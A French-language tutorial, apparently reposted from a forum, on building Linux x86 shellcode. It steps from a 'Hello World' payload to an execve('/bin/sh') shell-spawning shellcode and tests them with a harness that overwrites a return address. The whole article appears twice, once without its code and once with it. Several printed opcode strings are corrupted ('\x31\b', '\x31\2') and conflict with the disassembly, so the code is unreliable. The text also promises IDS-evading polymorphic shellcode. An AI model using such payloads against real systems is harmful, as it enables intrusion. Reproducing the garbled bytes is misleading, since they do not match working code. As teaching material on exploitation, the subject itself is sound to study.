Voici un article très détaillé sur la conception des shellcodes, s'adressant surtout aux débutants mais qui peut en intéresser d'autres. Nous verrons ce qu'est un shellcode, à quoi peut-il servir, et surtout comment en concevoir un.
Quelques bases de C et en ASM sont requises, mêmes si nous en expliquons quelques unes.
Sommaire
Préliminaires
Définition
Utilisation
Conception d'un shellcode
Hello World Shellcoding
Coder le programme en C
Récupérer l'appel système
Recoder le programme en C avec l'appel système
Coder le programme en ASM
Désassembler le programme ASM et construire le shellcode
Tester le shellcode
Un "vrai" shellcode
1. Préliminaires
Je préfère l'annoncer tout de suite : nous ne traiterons pas le cas des shellcodes Windows, mais uniquement ceux de Linux. En effet, ces derniers sont beaucoup plus faciles à réaliser. Si vous voulez des détails, lisez ce qui suit jusqu'aux interruptions. De plus, les tests ont été réalisés sur un environnement Debian de noyau 2.4.27, avec GCC 3.3.5.
1.1. Définition
Un shellcode désigne un bout de code en langage machine. Généralement, on l'écrit sous cette forme :
où 01, 02, etc sont remplacés par les instructions ("opcodes") en langage machine que le shellcode doit exécuter.
Quel type d'instruction un shellcode peut-il exécuter ?
Tout ! Un shellcode est ni plus ni moins qu'un programme très petit (généralement) exécuté par votre processeur, donc il est capable de faire tout ce que peut faire n'importe quel programme.
Cependant, il y a une unique contrainte pour un shellcode. Il ne doit absolument pas contenir de '00' dans ses opcodes. En effet, un tel octet serait un zéro terminal, et marquerait la fin de la chaîne de caractère représentée par le shellcode.
1.2. Utilisation
A quoi sert un shellcode ? Pourquoi ne pas directement utilsier un programme classique ?
En fait, un shellcode est à la base un code qui exécute un shell (invite de commande), d'où son nom. La notion de shellcode a donc été étendue pour au final désigner un code "malicieux" que l'on injecte dans un programme afin de détourner son exécution, et le forcer à exécuter nos instructions.
Ainsi, en pratique, on s'en sert pour exploiter des vulnérabilités applicatives, notemment les buffer overflows. On injecte ce shellcode dans un programme vulnérable à une faille, et on fait en sorte qu'il soit exécuté. C'est aussi simple que cela, enfin dans le principe...
Mais nous n'avons pas répondu à la question : pourquoi utiliser un shellcode et non pas un simple programme ? Tout simplement parce qu'un shellcode est conçu de telle manière à ce qu'il soit le plus petit possible. Un shellcode occupe en général quelque dizaines d'octets, pas plus. Alors qu'un programme occupe plus souvent des centaines de kilo-octets, voire des méga-octets !
Et pourquoi a-t-on besoin d'avoir un shellcode petit ?
Cela est lié à l'exploitation des failles. En général, lorsque l'on exploite une faille, on peut écrire du code en mémoire, où l'on souhaite. Mais la taille du code a écrire est très souvent limitée par des barrièes logicielles. En effet, écrire à un endroit inaproprié une quantité faramineuse de données pourrait très facilement planter le programme, ce que nous ne voulons pas faire...
Comment concevoir un shellcode ?
Bonne question... C'est tout l'objectif de cet article !
2. Conception d'un shellcode
Pour créer un shellcode, il existe plusieurs techniques. Nous verrons ici une technique assez simple et naturelle.
Il faut savoir que la création du shellcode est généralement indépendante du programme a exploiter, le shellcode créé ne dépendra que de la machine et de ce que l'on veut exécuter, pas du programme vulnérable.
De toutes façon, dans cet article, nous ne verrons pas l'exploitation d'un programme vulnérable. Ceci sera vu dans un article sur les Buffer Overflows.
Dans un premier temps, nous allons réaliser un shellcode qui écrit "Hello World" à l'écran. Ceci afin de bien assimiler la succession d'étapes à parcourir. Nous verrons également comment tester un shellcode. Ensuite, nous verrons un shellcode classique exécutant un shell avec les droits du programme dans lequel on l'injecte.
2.1. Hello World Shellcoding
2.1.1. Coder le programme
Dans premier temps, il nous faut coder l'équivalent des instructions que nous souhaitons faire exécuter au programme. Nous allons donc coder notre petit Hello World en C :
Note : Nous n'avons n'a pas mis de '\n', c'est pour cela que 'Hello World !' est collé à l'invite de commande suivante.
2.1.2. Récupérer les appels systèmes
Un appel système (ou syscall en anglais) est une fonction du système d'exploitation (Linux) assez spéciale. En effet, une telle fonction est disponible lorsque l'on code en Assembleur, sous la forme d'une interruption.
Une interruption désigne au départ, comme son nom l'indique, un arrêt temporaire d'un programme afin d'effectuer une fonction particulière. On s'en sert sur les systèmes disposant d'entrées/sorties. Par exemple, imaginez un robot disposant de capteurs qui se déplace. Il se guide à travers les informations recues par les capteurs. Si jamais le capteur frontal recontre un mur, le robot doit s'arrêter.
Informatiquement, au lieu de faire une boucle permanente vérifiant sans cesse la présence d'un mur détectée par le capteur, on utilise l'interruption associée à ce capteur. On peut ainsi coder la focntion qu'il doit exécuter si jamais cette interruption est active, nommée "routine d'interruption". Ainsi, notre programme principal est clair et il n'y a pas de boucle vérifiant les entéres/sorties.
Quel rapport avec votre PC ? Un PC aussi dispose d'interruptions. Par exemple, la souris, l'écran, etc. En fait, ce n'est pas vraiment le PC qui dispose de ces interruptions, mais plutôt l'OS installé dessus. En effet, chaque OS a ses interruptions. C'est pour cela que nous ne verrons ici que le cas de Linux, possédant des interruptions "sympathiques" et très simples pour la conception de shellcodes.
En effet, sous Windows, un ne peut pas récupérer certaines fonctions par des interruptions, et c'est très génant dans la conception de shellcodes. On doit alors récupérer l'adresse de la fonction qu'on veut utiliser. Pour ce faire, il nous faut une autre fonction... Pour résumer, la conception de shellcodes Windows est possible, puisqu'il existe des générateurs sur le Net, mais difficile.
Notre but va maintenant être de récupérer les appels systèmes utilisés par le programme que nous avons créé. Plus précisément, nous allons récupérer les appels systèmes des fonctions intéressentes de notre programme. Ici, pas de doutes possible, il n'y en a qu'une : printf. Trouvons donc le nom de son appel système correspondant, en utilisant l'outil strace.
L'affichage a été tronqué, car relativement long. Ici, on remarque la présence de notre chaîne de caractères comme argument de write(). En fait, write() est l'appel système que nous cherchons. Sa syntaxe est la suivante : int write(int sortie, char chaine[], int longueur);
Cette fonction retourne le nombre d'octets écrits, mais nous n'utilserons pas cette caractéristique. "sortie" désigne le numéro de la sortie sur laquelle nous voulons écrire. Ici, c'est l'écran, donc stdin, autrement dit 1.
Nous allons récrire le programme en C mais avec cette fois ci l'appel système.
2.1.3. Recoder le programme en C avec l'appel système
Voila notre programme recodé :
Fabuleux, il marche aussi bien que l'autre !
Maintenant, vous avez deux possibilités.
Soit vous savez coder en langage machine, dans ce cas vous n'aurez aucune difficulté à écrire le shellcode dès mainenant, en binaire
Soit vous ne savez pas, comme moi, et dans ce cas nous allons ré-écrire tout cela en Assembleur, puis le désassembler.
2.1.4. Coder le programme en ASM
Avant d'entamer la programmation, un peu de technique. Comment appeler une interruption en ASM ? Sous linux, on appelle très souvent l'interruption 0x80. Lors de cet appel, il faut préciser dans EAX le numéro du syscall (appel système) que nous souhaitons utiliser. Comment avoir ce numéro ?
Il suffit de taper :
Parenthèse : Si vous n'obtenez rien, affichez le fichier unistd.h et regardez ce qui est inclus. Il est probable que les syscalls se trouvent dans d'autres fichiers. A la base cet article a été rédigé sous Debian. Je viens de retester sur ma Ubuntu Edgy et j'ai ceci :
En faisant donc un cat sur /usr/include/asm-i386/unistd.h, on a ce que l'on veut :
Enfin, si vous n'avez même pas le fichier unistd.h, il vous faudra probablement installer le paquet libc6-dev.
(Fin de la parenthèse)
Nous avons donc désormais le numéro du syscall : 4. Il va maintenant falloir placer nos argument comme il faut, et appeler la fonction. Nous allons les placer comme ceci :
EAX va contenir le numéro du syscall, soit 4
EBX va contenir le premier argument de write, 1.
ECX va contenir le deuxième argument, soit l'adresse de la chaîne "Hello World !".
EDX va contenir la longueur de la chaîne (3ème argument), 13, ou 0x0d.
Nous connaissons presque toutes ces informations. En effet, il nous manque pour le moment l'adresse de notre chaîne. Comment allons-nous la récupérer ?
Récupération de l'adresse d'une chaîne dans un shellcode.
Pour récupérer l'adresse d'une chaine, il faut déja la placer en mémoire. Ensuite, il faut réussir à trouver où elle est. Nous allons utiliser la technique du pop/call, décrite par Pr1on dans Phrack. Elle consiste, à partir d'une adresse X, à sauter sur une étiquette d'adresse Y, en dessous de laquelle figure un call vers l'instruction suivant X. Et en dessous de ce call se trouve notre chaîne.
Comment se passe la récupération de l'adresse ? En fait, lors du Call, l'adresse de l'instruction suivante va être empilée, comme pour tous les call. Comme l'adresse suivante ets précisément l'adresse de notre chaîne, c'est gagné ! Il ne nous restera plus qu'a dépiler l'adresse dans un registre, en l'occurence ECX. Voici un petit schéma illustratif :
[début du shellcode]
suite:
[suite et fin du shellcode]
chaine:
[notre chaine]
Nous avons toutes les informations qu'il nous faut pour faire notre shellcode, alors allons-y !
On assemble et on link avec les instructions suivantes :
AVERTISSEMENT: ne peut trouver le symbole d'entrée _start; utilise par défaut 0000000008048074
Ne prêtez pas attention à cet avertissement, c'est normal. Maintenant, moment de vérité, on doit tester le shellcode :
Impeccable, tout marche. C'est presque la fin...
2.1.5. Désassembler le programme en ASM et créer le shellcode
Nous allons utiliser Objdump, le célèbre désassembleur. Mais nous aurions très bien pu utiliser Gdb...
asm: format de fichier elf32-i386
Déassemblage de la section .text :
Il y a plusieurs choses que l'on peut remarquer. D'une part, le code du main est exactement celui que l'on a écrit juste au dessus, à part le fait que, bien entendu, les adresses ont replacé le nom des étiquettes dans le jmp et le call.
De plus, à partir de l'étiquette 'chaine', nous voyons du code assez hostile, que nous n'avons pas tapé. En réalité, il s'agit des octets de notre chaîne, que le désassembleur a interprété à tort comme du code. Nous pouvons considérer ce code comme des caractères, ce qui simplifiera la recopie dans la suite.
Il n'y a plus qu'une chose à faire : créer notre shellcode. Pour faire cela, il suffit de concaténer tous les opcodes (le code machine des instructions assembleur, la 2ème colonne) en les séparant par '\x'. Pourquoi ce séparateur et pas un autre ? Tout simplement parce que c'est la notation utilisée par beaucoup de langages, dont le C et le Perl, langages que l'on utilise très souvent pour exploiter des failles applicatives. On met donc bout à bout ces opcodes et on obtient :
Ce shellcode fait 37 caractères. Pas mal, pour notre premier !
Mais peut-être êt-es-vous dubitatifs. Vous êtes étonné du fait qu'un simple bout de code comme celui-ci puisse afficher "Hello World !" à l'écran. Très bien... Nous allons tester ce shellcode ensemble.
2.1.6. Tester le shellcode
Nous allons coder un petit programme qui va tester notre shellcode pour nous. En général, un shellcode s'utilise sur un programme vulnérable, mais notre programme ne sera pas vraiment vulnérable. Puisque le but est d'exécuter notre shellcode, nous allons nous arranger pour faire sauter le programme sur la pile, où nous aurons placé notre shellcode. Pour ce faire, nous pouvons très bien coder un programme en C en déclarant notre shellcode et en faisant une goutte d'assembleur inline, exécutant un "jmp %esp".
Cela donne ceci :
Mais il est aussi possible de procéder autrement, de manière plus astucieuse :
Ici, on utilise une astuce qui tient dans la ligne barbare en rouge. En la décryptant, cela donne, en français : "Rendre le contenu pointé par (l'adresse de la variable 'ret' incrémentée de 2*sizeof(int)) égal à l'adresse du shellcode".
Pourquoi avoir déclaré une variable 'ret' et fait ce calcul ? Parce qu'en fait, sur la pile, on trouve dans l'ordre (de bas en haut) :
- l'adresse de retour de main
- le contenu du registre EBP sauvegardé par le prologue de main
- variable 'ret'
Toutes ces valeurs occupent 4 (=sizeof(int)) octets chacunes. Nous avons accès à la variable ret, donc à son adresse. Nous voulons détourner la valeur de retour de main et la rendre égale à l'adresse du shellcode. Il faut donc trouver une relation entre l'adresse de l'adresse de retour de main et l'adresse de la variable ret. Et cela, rien de plus simple puisque : &ret + 2 = &(adresse de retour de main). On doit donc modifier le contenu pointé par (&ret + 2), d'où la formule magique en rouge.
Pour finir, notre shellcode fonctionne très bien, quelque soit la méthode de test.
2.2. Un "vrai" shellcode
Vous avez compris le principe. Nous allons maintenant l'appliquer pour la réalisation d'un vrai shellcode, qui exécute un shell.
Nous n'allons pas redétailler toutes les étapes, simplement donner les résultats escomptés. Voici donc comment créer ce shellcode, de A à Z :
AVERTISSEMENT: ne peut trouver le symbole d'entrée _start; utilise par défaut 0000000008048074
Déassemblage de la section .text :
Au final, notre shellcode fonctionne et fait 29 octets, ce qui n'est pas mal, mais pas la solution optimale. Je pense qu'avec les commentaires, la compréhension ne doit pas être trop difficile. Le plus dur a comprendre est certainement le passage où l'on code le programme en ASM et où l'on doit pusher et récupérer l'adresse des différents arguments. En fait, nous n'utilisons pas la technique du jump/call que nous avons vu précédemment, mais une solution plus simple, du moins en principe, puisque nous plaçons directement la chaîne sur la pile.
Conclusion :
Nous voici arrivé à la fin de cette présentation des shellcodes. Vous savez désormais réaliser un shellcode de manière simple, ou presque. Essayez de refaire vous-même les deux exemples que nous avons vu en exercice, c'est un bon entraînement.
Nous verrons bientôt comment automatiser la conception de shellcodes en codant quelques outils qui nous simplifieront le travail. De plus, nous étudierons des techniques permettant de rendre des shellcodes (quasiment) indétectables : les shellcodes polymorphiques, spécialement conçus dans le but de passer aux travers des protections, comme les IDS.
cred:trance
Quelques bases de C et en ASM sont requises, mêmes si nous en expliquons quelques unes.
Sommaire
Préliminaires
Définition
Utilisation
Conception d'un shellcode
Hello World Shellcoding
Coder le programme en C
Récupérer l'appel système
Recoder le programme en C avec l'appel système
Coder le programme en ASM
Désassembler le programme ASM et construire le shellcode
Tester le shellcode
Un "vrai" shellcode
1. Préliminaires
Je préfère l'annoncer tout de suite : nous ne traiterons pas le cas des shellcodes Windows, mais uniquement ceux de Linux. En effet, ces derniers sont beaucoup plus faciles à réaliser. Si vous voulez des détails, lisez ce qui suit jusqu'aux interruptions. De plus, les tests ont été réalisés sur un environnement Debian de noyau 2.4.27, avec GCC 3.3.5.
1.1. Définition
Un shellcode désigne un bout de code en langage machine. Généralement, on l'écrit sous cette forme :
Code:
\x01\x02\x03\x04\x05\x06\x07\x08\x09\0A\x0B\x0C\x0D\x0E\x0F...
Quel type d'instruction un shellcode peut-il exécuter ?
Tout ! Un shellcode est ni plus ni moins qu'un programme très petit (généralement) exécuté par votre processeur, donc il est capable de faire tout ce que peut faire n'importe quel programme.
Cependant, il y a une unique contrainte pour un shellcode. Il ne doit absolument pas contenir de '00' dans ses opcodes. En effet, un tel octet serait un zéro terminal, et marquerait la fin de la chaîne de caractère représentée par le shellcode.
1.2. Utilisation
A quoi sert un shellcode ? Pourquoi ne pas directement utilsier un programme classique ?
En fait, un shellcode est à la base un code qui exécute un shell (invite de commande), d'où son nom. La notion de shellcode a donc été étendue pour au final désigner un code "malicieux" que l'on injecte dans un programme afin de détourner son exécution, et le forcer à exécuter nos instructions.
Ainsi, en pratique, on s'en sert pour exploiter des vulnérabilités applicatives, notemment les buffer overflows. On injecte ce shellcode dans un programme vulnérable à une faille, et on fait en sorte qu'il soit exécuté. C'est aussi simple que cela, enfin dans le principe...
Mais nous n'avons pas répondu à la question : pourquoi utiliser un shellcode et non pas un simple programme ? Tout simplement parce qu'un shellcode est conçu de telle manière à ce qu'il soit le plus petit possible. Un shellcode occupe en général quelque dizaines d'octets, pas plus. Alors qu'un programme occupe plus souvent des centaines de kilo-octets, voire des méga-octets !
Et pourquoi a-t-on besoin d'avoir un shellcode petit ?
Cela est lié à l'exploitation des failles. En général, lorsque l'on exploite une faille, on peut écrire du code en mémoire, où l'on souhaite. Mais la taille du code a écrire est très souvent limitée par des barrièes logicielles. En effet, écrire à un endroit inaproprié une quantité faramineuse de données pourrait très facilement planter le programme, ce que nous ne voulons pas faire...
Comment concevoir un shellcode ?
Bonne question... C'est tout l'objectif de cet article !
2. Conception d'un shellcode
Pour créer un shellcode, il existe plusieurs techniques. Nous verrons ici une technique assez simple et naturelle.
Il faut savoir que la création du shellcode est généralement indépendante du programme a exploiter, le shellcode créé ne dépendra que de la machine et de ce que l'on veut exécuter, pas du programme vulnérable.
De toutes façon, dans cet article, nous ne verrons pas l'exploitation d'un programme vulnérable. Ceci sera vu dans un article sur les Buffer Overflows.
Dans un premier temps, nous allons réaliser un shellcode qui écrit "Hello World" à l'écran. Ceci afin de bien assimiler la succession d'étapes à parcourir. Nous verrons également comment tester un shellcode. Ensuite, nous verrons un shellcode classique exécutant un shell avec les droits du programme dans lequel on l'injecte.
2.1. Hello World Shellcoding
2.1.1. Coder le programme
Dans premier temps, il nous faut coder l'équivalent des instructions que nous souhaitons faire exécuter au programme. Nous allons donc coder notre petit Hello World en C :
Code:
[email protected]:~$ cat helloworld.c int main() { printf("Hello World !"); }
Code:
[email protected]:~$ gcc -o helloworld helloworld.c [email protected]:~$ ./helloworld Hello World [email protected]:~$
2.1.2. Récupérer les appels systèmes
Un appel système (ou syscall en anglais) est une fonction du système d'exploitation (Linux) assez spéciale. En effet, une telle fonction est disponible lorsque l'on code en Assembleur, sous la forme d'une interruption.
Une interruption désigne au départ, comme son nom l'indique, un arrêt temporaire d'un programme afin d'effectuer une fonction particulière. On s'en sert sur les systèmes disposant d'entrées/sorties. Par exemple, imaginez un robot disposant de capteurs qui se déplace. Il se guide à travers les informations recues par les capteurs. Si jamais le capteur frontal recontre un mur, le robot doit s'arrêter.
Informatiquement, au lieu de faire une boucle permanente vérifiant sans cesse la présence d'un mur détectée par le capteur, on utilise l'interruption associée à ce capteur. On peut ainsi coder la focntion qu'il doit exécuter si jamais cette interruption est active, nommée "routine d'interruption". Ainsi, notre programme principal est clair et il n'y a pas de boucle vérifiant les entéres/sorties.
Quel rapport avec votre PC ? Un PC aussi dispose d'interruptions. Par exemple, la souris, l'écran, etc. En fait, ce n'est pas vraiment le PC qui dispose de ces interruptions, mais plutôt l'OS installé dessus. En effet, chaque OS a ses interruptions. C'est pour cela que nous ne verrons ici que le cas de Linux, possédant des interruptions "sympathiques" et très simples pour la conception de shellcodes.
En effet, sous Windows, un ne peut pas récupérer certaines fonctions par des interruptions, et c'est très génant dans la conception de shellcodes. On doit alors récupérer l'adresse de la fonction qu'on veut utiliser. Pour ce faire, il nous faut une autre fonction... Pour résumer, la conception de shellcodes Windows est possible, puisqu'il existe des générateurs sur le Net, mais difficile.
Notre but va maintenant être de récupérer les appels systèmes utilisés par le programme que nous avons créé. Plus précisément, nous allons récupérer les appels systèmes des fonctions intéressentes de notre programme. Ici, pas de doutes possible, il n'y en a qu'une : printf. Trouvons donc le nom de son appel système correspondant, en utilisant l'outil strace.
Code:
[email protected]:~$ strace ./helloworld ... write(1, "Hello World !", 13Hello World !) = 13 …
Cette fonction retourne le nombre d'octets écrits, mais nous n'utilserons pas cette caractéristique. "sortie" désigne le numéro de la sortie sur laquelle nous voulons écrire. Ici, c'est l'écran, donc stdin, autrement dit 1.
Nous allons récrire le programme en C mais avec cette fois ci l'appel système.
2.1.3. Recoder le programme en C avec l'appel système
Voila notre programme recodé :
Code:
[email protected]:~$ cat helloworld2.c int main() { write(1,"Hello World !",13); }
Code:
[email protected]:~$ gcc -o helloworld2 helloworld2.c [email protected]:~$ ./helloworld2 Hello World [email protected]:~$
Maintenant, vous avez deux possibilités.
Soit vous savez coder en langage machine, dans ce cas vous n'aurez aucune difficulté à écrire le shellcode dès mainenant, en binaire
Soit vous ne savez pas, comme moi, et dans ce cas nous allons ré-écrire tout cela en Assembleur, puis le désassembler.
2.1.4. Coder le programme en ASM
Avant d'entamer la programmation, un peu de technique. Comment appeler une interruption en ASM ? Sous linux, on appelle très souvent l'interruption 0x80. Lors de cet appel, il faut préciser dans EAX le numéro du syscall (appel système) que nous souhaitons utiliser. Comment avoir ce numéro ?
Il suffit de taper :
Code:
[email protected]:~$ cat /usr/include/asm/unistd.h | grep write
Code:
$ cat /usr/include/asm/unistd.h /* File autogenerated by 'make headers_install' */ #ifndef __ASM_STUB_UNISTD_H #define __ASM_STUB_UNISTD_H # if defined __x86_64__ # include <asm-x86_64/unistd.h> # elif defined __i386__ # include <asm-i386/unistd.h> # else # warning This machine appears to be neither x86_64 nor i386. # endif #endif /* __ASM_STUB_UNISTD_H */
Code:
$ cat /usr/include/asm-i386/unistd.h | grep write #define __NR_write 4 #define __NR_writev 146 #define __NR_pwrite64 181
(Fin de la parenthèse)
Nous avons donc désormais le numéro du syscall : 4. Il va maintenant falloir placer nos argument comme il faut, et appeler la fonction. Nous allons les placer comme ceci :
EAX va contenir le numéro du syscall, soit 4
EBX va contenir le premier argument de write, 1.
ECX va contenir le deuxième argument, soit l'adresse de la chaîne "Hello World !".
EDX va contenir la longueur de la chaîne (3ème argument), 13, ou 0x0d.
Nous connaissons presque toutes ces informations. En effet, il nous manque pour le moment l'adresse de notre chaîne. Comment allons-nous la récupérer ?
Récupération de l'adresse d'une chaîne dans un shellcode.
Pour récupérer l'adresse d'une chaine, il faut déja la placer en mémoire. Ensuite, il faut réussir à trouver où elle est. Nous allons utiliser la technique du pop/call, décrite par Pr1on dans Phrack. Elle consiste, à partir d'une adresse X, à sauter sur une étiquette d'adresse Y, en dessous de laquelle figure un call vers l'instruction suivant X. Et en dessous de ce call se trouve notre chaîne.
Comment se passe la récupération de l'adresse ? En fait, lors du Call, l'adresse de l'instruction suivante va être empilée, comme pour tous les call. Comme l'adresse suivante ets précisément l'adresse de notre chaîne, c'est gagné ! Il ne nous restera plus qu'a dépiler l'adresse dans un registre, en l'occurence ECX. Voici un petit schéma illustratif :
[début du shellcode]
Code:
jmp chaine
Code:
pop ecx
chaine:
Code:
call suite
Nous avons toutes les informations qu'il nous faut pour faire notre shellcode, alors allons-y !
Code:
[email protected]:~$ cat asm.s main: xorl %eax,%eax //On met à zéro tous les registres, pour éviter les problèmes xorl %ebx,%ebx xorl %ecx,%ecx xorl %edx,%edx movb $0x4,%al //On met al pour éviter les 0 dans les opcodes movb $0x1,%bl jmp chaine ret: popl %ecx movb $0,%dl int $0x80 chaine: call ret .string "Hello World !"
Code:
[email protected]:~$ as -o asm.o asm.s
Code:
[email protected]:~$ ld -o asm asm.o
Ne prêtez pas attention à cet avertissement, c'est normal. Maintenant, moment de vérité, on doit tester le shellcode :
Code:
[email protected]:~$ ./asm Hello World ! //Ctrl + C pour quitter
2.1.5. Désassembler le programme en ASM et créer le shellcode
Nous allons utiliser Objdump, le célèbre désassembleur. Mais nous aurions très bien pu utiliser Gdb...
Code:
[email protected]:~$ objdump -d asm
Déassemblage de la section .text :
Code:
08048074 : 8048074: 31 c0 xor %eax,%eax 8048076: 31 db xor %ebx,%ebx 8048078: 31 c9 xor %ecx,%ecx 804807a: 31 d2 xor %edx,%edx 804807c: b0 04 mov $0x4,%al 804807e: b3 01 mov $0x1,%bl 8048080: eb 05 jmp 8048087 08048082 : 8048082: 59 pop %ecx 8048083: b2 0d mov $0,%dl 8048085: cd 80 int $0x80 08048087 : 8048087: e8 f6 ff ff ff call 8048082 804808c: 48 dec %eax 804808d: 65 gs 804808e: 6c insb (%dx),%es:(%edi) 804808f: 6c insb (%dx),%es:(%edi) 8048090: 6f outsl %ds:(%esi),(%dx) 8048091: 20 57 6f and %dl,0x6f(%edi) 8048094: 72 6c jb 8048102 8048096: 64 20 21 and %ah,%fs:(%ecx)
De plus, à partir de l'étiquette 'chaine', nous voyons du code assez hostile, que nous n'avons pas tapé. En réalité, il s'agit des octets de notre chaîne, que le désassembleur a interprété à tort comme du code. Nous pouvons considérer ce code comme des caractères, ce qui simplifiera la recopie dans la suite.
Il n'y a plus qu'une chose à faire : créer notre shellcode. Pour faire cela, il suffit de concaténer tous les opcodes (le code machine des instructions assembleur, la 2ème colonne) en les séparant par '\x'. Pourquoi ce séparateur et pas un autre ? Tout simplement parce que c'est la notation utilisée par beaucoup de langages, dont le C et le Perl, langages que l'on utilise très souvent pour exploiter des failles applicatives. On met donc bout à bout ces opcodes et on obtient :
Code:
\x31\xc0\x31\b\x31\xc9\x31\2\xb0\x04\xb3\x01\xeb\x05\x59\xb2\x01 \xcd\x80\xe8\xf6\xff\xff\xffHello World !
Mais peut-être êt-es-vous dubitatifs. Vous êtes étonné du fait qu'un simple bout de code comme celui-ci puisse afficher "Hello World !" à l'écran. Très bien... Nous allons tester ce shellcode ensemble.
2.1.6. Tester le shellcode
Nous allons coder un petit programme qui va tester notre shellcode pour nous. En général, un shellcode s'utilise sur un programme vulnérable, mais notre programme ne sera pas vraiment vulnérable. Puisque le but est d'exécuter notre shellcode, nous allons nous arranger pour faire sauter le programme sur la pile, où nous aurons placé notre shellcode. Pour ce faire, nous pouvons très bien coder un programme en C en déclarant notre shellcode et en faisant une goutte d'assembleur inline, exécutant un "jmp %esp".
Cela donne ceci :
Code:
[email protected]:~$ cat ./testasm.c int main() { char sh[] = "\x31\xc0\x31\b\x31\xc9\x31\2\xb0\x04\xb3\x01\xeb\x05" "\x59\xb2\x0d\xcd\x80\xe8\xf6\xff\xff\xffHello World !"; asm("jmp %esp"); return 0; }
Code:
[email protected]:~$ gcc -o testasm testasm.c /tmp/ccxfWtYB.s: Messages de l'assembleur: /tmp/ccxfWtYB.s:25: AVERTISSEMENT:indirect jmp sans « * » [email protected]:~$ ./testasm Hello World !
Code:
[email protected]:~$ cat test.c
Code:
char sh[] = "\x31\xc0\x31\b\x31\xc9\x31\2\xb0\x04\xb3\x01\xeb\x05" "\x59\xb2\x0d\xcd\x80\xe8\xf6\xff\xff\xffHello World !";
Code:
int main() { printf("taille : %d\n",sizeof(sh)-1); //au cas où on veuille afficher sa taille int *ret; // le -1 est parce qu'il ne faut pas tenir compte du 0 terminal *( (int *) &ret + 2) = (int) sh; } [email protected]:~$ gcc -o test test.c [email protected]:~$ ./test taille : 37 Hello World !
Pourquoi avoir déclaré une variable 'ret' et fait ce calcul ? Parce qu'en fait, sur la pile, on trouve dans l'ordre (de bas en haut) :
- l'adresse de retour de main
- le contenu du registre EBP sauvegardé par le prologue de main
- variable 'ret'
Toutes ces valeurs occupent 4 (=sizeof(int)) octets chacunes. Nous avons accès à la variable ret, donc à son adresse. Nous voulons détourner la valeur de retour de main et la rendre égale à l'adresse du shellcode. Il faut donc trouver une relation entre l'adresse de l'adresse de retour de main et l'adresse de la variable ret. Et cela, rien de plus simple puisque : &ret + 2 = &(adresse de retour de main). On doit donc modifier le contenu pointé par (&ret + 2), d'où la formule magique en rouge.
Pour finir, notre shellcode fonctionne très bien, quelque soit la méthode de test.
2.2. Un "vrai" shellcode
Vous avez compris le principe. Nous allons maintenant l'appliquer pour la réalisation d'un vrai shellcode, qui exécute un shell.
Nous n'allons pas redétailler toutes les étapes, simplement donner les résultats escomptés. Voici donc comment créer ce shellcode, de A à Z :
Code:
[email protected]:~/shellcodes$ cat shell.c
Code:
#include <stdio.h> #include <unistd.h> int main() { char * param[] = {"/bin/sh", NULL}; execve(param[0], param, NULL); //execve est déja un appel système return 0; }
Code:
[email protected]:~/shellcodes$ gcc -o shell shell.c
Code:
[email protected]:~/shellcodes$ ./shell
Code:
sh-2.05b$ exit
Code:
[email protected]:~/shellcodes$ cat /usr/include/asm/unistd.h | grep execve
Code:
#define __NR_execve 11 * in NO COPY ON WRITE (!!!), until an execve is executed. This static inline _syscall3(int,execve,const char *,file,char **,argv,char **,envp)
Code:
[email protected]:~/shellcodes$
Code:
[email protected]:~/shellcodes$ cat ./asm.s
Code:
main: xorl %eax,%eax xorl %ebx,%ebx xorl %ecx,%ecx xorl %edx,%edx //On doit récupérer les arguments de execve : //ebx = "/bin/sh" //ecx = tab = {"/bin/sh",0} //edx = n°3: 0 //De plus, eax = 11, le syscall //empile 0 push %edx //On doit empiler "/bin/sh". Or on est sur la pile et sur une architecture x86. //Donc on doit empiler 4 octets par 4 octets, on rajoute donc un/. //De plus on doit empiler à l'envers, dans deux sens : // - dans le sens "4 derniers octets puis 4 premiers octets" // - dans le sens "tous les octets sont inversés" //on pushe donc en premier 'hs/n', puis 'ib//' push $0x68732f6e push $0x69622f2f //on récupère l'adresse de la chaîne mov %esp,%ebx //empile 0 push %edx //empile l'adresse de l'adresse de la chaîne (c'est à dire tab) push %ebx // La pile ressemble à ça : // // +------------------------+ // | //bin/sh |<-+ // +------------------------+ | // | edx = 0 | | // +------------------------+ | // +->| ebx = addr chaine |--+ // | +------------------------+ // | | 0 | // | +------------------------+ // +--| ecx = addr addr chaine | // +------------------------+ // // //on récupère l'adresse de tab mov %esp,%ecx //exécute l'interruption mov $11,%al int $0x80
Code:
[email protected]:~/shellcodes$ as -o asm.o asm.s
Code:
[email protected]:~/shellcodes$ ld -o asm asm.o
Code:
[email protected]:~/shellcodes$ ./asm
Code:
sh-2.05b$ exit
Code:
[email protected]:~/shellcodes$
Code:
[email protected]:~/shellcodes$ objdump -d ./asm
Code:
./asm: format de fichier elf32-i386
Code:
08048074 : 8048074: 31 c0 xor %eax,%eax 8048076: 31 db xor %ebx,%ebx 8048078: 31 c9 xor %ecx,%ecx 804807a: 31 d2 xor %edx,%edx 804807c: 52 push %edx 804807d: 68 6e 2f 73 68 push $0x68732f6e 8048082: 68 2f 2f 62 69 push $0x69622f2f 8048087: 89 e3 mov %esp,%ebx 8048089: 52 push %edx 804808a: 53 push %ebx 804808b: 89 e1 mov %esp,%ecx 804808d: b0 0b mov $0xb,%al 804808f: cd 80 int $0x80
Code:
[email protected]:~/shellcodes$ cat test.c
Code:
char sh[] = "\x31\xc0\x31\b\x31\xc9\x31\2\x52\x68\x6e\x2f\x73\x68" "\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80";
Code:
int main() { printf("taille : %d\n",sizeof(sh)-1); int *ret; *( (int *) &ret + 2) = (int) sh; }
Code:
[email protected]:~/shellcodes$ gcc -o test test.c
Code:
[email protected]:~/shellcodes$ ./test taille : 29
Code:
sh-2.05b$
Conclusion :
Nous voici arrivé à la fin de cette présentation des shellcodes. Vous savez désormais réaliser un shellcode de manière simple, ou presque. Essayez de refaire vous-même les deux exemples que nous avons vu en exercice, c'est un bon entraînement.
Nous verrons bientôt comment automatiser la conception de shellcodes en codant quelques outils qui nous simplifieront le travail. De plus, nous étudierons des techniques permettant de rendre des shellcodes (quasiment) indétectables : les shellcodes polymorphiques, spécialement conçus dans le but de passer aux travers des protections, comme les IDS.
cred:trance
Commentaire